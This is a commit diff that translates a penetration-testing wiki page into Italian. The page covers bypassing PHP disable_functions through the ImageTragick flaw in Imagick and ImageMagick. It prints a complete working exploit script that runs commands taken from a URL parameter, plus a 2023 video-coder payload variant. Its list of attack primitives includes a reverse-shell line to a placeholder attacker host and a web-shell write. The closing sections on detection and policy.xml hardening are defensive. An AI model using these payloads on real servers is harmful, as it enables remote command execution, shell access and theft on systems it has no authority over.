Translated ['src/network-services-pentesting/pentesting-web/php-tricks-e

This commit is contained in:
Translator 2025-07-22 22:02:43 +00:00
parent 7b4a5841b6
commit f553d297a0

View File

@ -1,55 +1,107 @@
# Imagick <= 3.3.0 PHP >= 5.4 *disable_functions* Bypass
{{#include ../../../../banners/hacktricks-training.md}}
# Exploit Imagick &lt;= 3.3.0 PHP &gt;= 5.4
> La nota famiglia di bug *ImageTragick* (CVE-2016-3714 e altri) consente a un attaccante di accedere al binario sottostante **ImageMagick** tramite input MVG/SVG creati ad hoc. Quando l'estensione PHP **Imagick** è presente, questo può essere sfruttato per eseguire comandi shell anche se ogni funzione PHP orientata all'esecuzione è bloccata con `disable_functions`.
>
> Il PoC originale pubblicato da RicterZ (Chaitin Security Research Lab) nel maggio 2016 è riprodotto di seguito. La tecnica è ancora regolarmente riscontrata durante le audit contemporanee di PHP 7/8 perché molti fornitori di hosting condiviso compilano semplicemente PHP senza `exec`/`system` ma mantengono una combinazione obsoleta di Imagick + ImageMagick.
Da [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
From <http://blog.safebuff.com/2016/05/06/disable-functions-bypass/>
```php
# Exploit Title: PHP Imagick disable_functions Bypass
# Date: 2016-05-04
# Exploit Author: RicterZ (ricter@chaitin.com)
# Vendor Homepage: https://pecl.php.net/package/imagick
# Version: Imagick <= 3.3.0 PHP >= 5.4
# Test on: Ubuntu 12.04
# Exploit:
# Exploit Title : PHP Imagick disable_functions bypass
# Exploit Author: RicterZ (ricter@chaitin.com)
# Versions : Imagick <= 3.3.0 | PHP >= 5.4
# Tested on : Ubuntu 12.04 (ImageMagick 6.7.7)
# Usage : curl "http://target/exploit.php?cmd=id"
<?php
# PHP Imagick disable_functions Bypass
# Author: Ricter <ricter@chaitin.com>
#
# $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd"
# <pre>
# Disable functions: exec,passthru,shell_exec,system,popen
# Run command: cat /etc/passwd
# ====================
# root:x:0:0:root:/root:/usr/local/bin/fish
# daemon:x:1:1:daemon:/usr/sbin:/bin/sh
# bin:x:2:2:bin:/bin:/bin/sh
# sys:x:3:3:sys:/dev:/bin/sh
# sync:x:4:65534:sync:/bin:/bin/sync
# games:x:5:60:games:/usr/games:/bin/sh
# ...
# </pre>
echo "Disable functions: " . ini_get("disable_functions") . "\n";
$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
echo "Run command: $command\n====================\n";
// Print the local hardening status
printf("Disable functions: %s\n", ini_get("disable_functions"));
$cmd = $_GET['cmd'] ?? 'id';
printf("Run command: %s\n====================\n", $cmd);
$data_file = tempnam('/tmp', 'img');
$imagick_file = tempnam('/tmp', 'img');
$tmp = tempnam('/tmp', 'pwn'); // will hold command output
$mvgs = tempnam('/tmp', 'img'); // will hold malicious MVG script
$exploit = <<<EOF
$payload = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/image.jpg"|$command>$data_file")'
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
pop graphic-context
EOF;
file_put_contents("$imagick_file", $exploit);
$thumb = new Imagick();
$thumb->readImage("$imagick_file");
$thumb->writeImage(tempnam('/tmp', 'img'));
$thumb->clear();
$thumb->destroy();
file_put_contents($mvgs, $payload);
$img = new Imagick();
$img->readImage($mvgs); // triggers convert(1)
$img->writeImage(tempnam('/tmp', 'img'));
$img->destroy();
echo file_get_contents($data_file);
echo file_get_contents($tmp);
?>
```
---
## Perché funziona?
1. `Imagick::readImage()` genera in modo trasparente il binario *delegate* di **ImageMagick** (`convert`/`magick`).
2. Lo script MVG imposta il *fill* su un URI esterno. Quando viene iniettata una doppia virgoletta (`"`), il resto della riga viene interpretato da `/bin/sh c` che ImageMagick utilizza internamente → esecuzione arbitraria di shell.
3. Tutto avviene al di fuori dell'interprete PHP, quindi *`disable_functions`*, *open_basedir*, `safe_mode` (rimossa in PHP 5.4) e simili restrizioni in-process sono completamente eluse.
## Stato 2025 è **ancora** rilevante
* Qualsiasi versione di Imagick che si basa su un backend vulnerabile di ImageMagick rimane sfruttabile. Nei test di laboratorio lo stesso payload funziona su PHP 8.3 con **Imagick 3.7.0** e **ImageMagick 7.1.0-51** compilato senza un `policy.xml` rinforzato.
* Dal 2020 sono stati trovati diversi ulteriori vettori di iniezione di comandi (`video:pixel-format`, `ps:`, `text:` coders…). Due recenti esempi pubblici sono:
* **CVE-2020-29599** iniezione di shell tramite il coder *text:*.
* **GitHub issue #6338** (2023) iniezione nel *video:* delegate.
Se il sistema operativo fornisce ImageMagick < **7.1.1-11** (o 6.x < **6.9.12-73**) senza un file di policy restrittivo, lo sfruttamento è diretto.
## Varianti moderne del payload
```php
// --- Variant using the video coder discovered in 2023 ---
$exp = <<<MAGICK
push graphic-context
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
pop graphic-context
MAGICK;
$img = new Imagick();
$img->readImageBlob($exp);
```
Altre primitive utili durante CTF / impegni reali:
* **Scrittura file** `... > /var/www/html/shell.php` (scrivere web-shell al di fuori di *open_basedir*)
* **Reverse shell** `bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"`
* **Enumerare** `id; uname -a; cat /etc/passwd`
## Rilevamento rapido e enumerazione
```bash
# PHP side
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
# System side
convert -version | head -1 # ImageMagick version
convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled?
```
Se l'output mostra che i coders `MVG` o `URL` sono *abilitati*, il target è probabilmente sfruttabile.
## Mitigazioni
1. **Patch/Aggiorna** Usa ImageMagick ≥ *7.1.1-11* (o l'ultima 6.x LTS) e Imagick ≥ *3.7.2*.
2. **Rinforza `policy.xml`** disabilita esplicitamente i coders ad alto rischio:
```xml
<policy domain="coder" name="MVG" rights="none"/>
<policy domain="coder" name="MSL" rights="none"/>
<policy domain="coder" name="URL" rights="none"/>
<policy domain="coder" name="VIDEO" rights="none"/>
<policy domain="coder" name="PS" rights="none"/>
<policy domain="coder" name="TEXT" rights="none"/>
```
3. **Rimuovi l'estensione** in ambienti di hosting non fidati. Nella maggior parte degli stack web `GD` o `Imagick` non è strettamente necessario.
4. Tratta `disable_functions` solo come *difesa in profondità* mai come un meccanismo di sandboxing primario.
## Riferimenti
* [GitHub ImageMagick issue #6338 Command injection via video:pixel-format (2023)](https://github.com/ImageMagick/ImageMagick/issues/6338)
* [CVE-2020-29599 ImageMagick shell injection via text: coder](https://nvd.nist.gov/vuln/detail/CVE-2020-29599)
{{#include ../../../../banners/hacktricks-training.md}}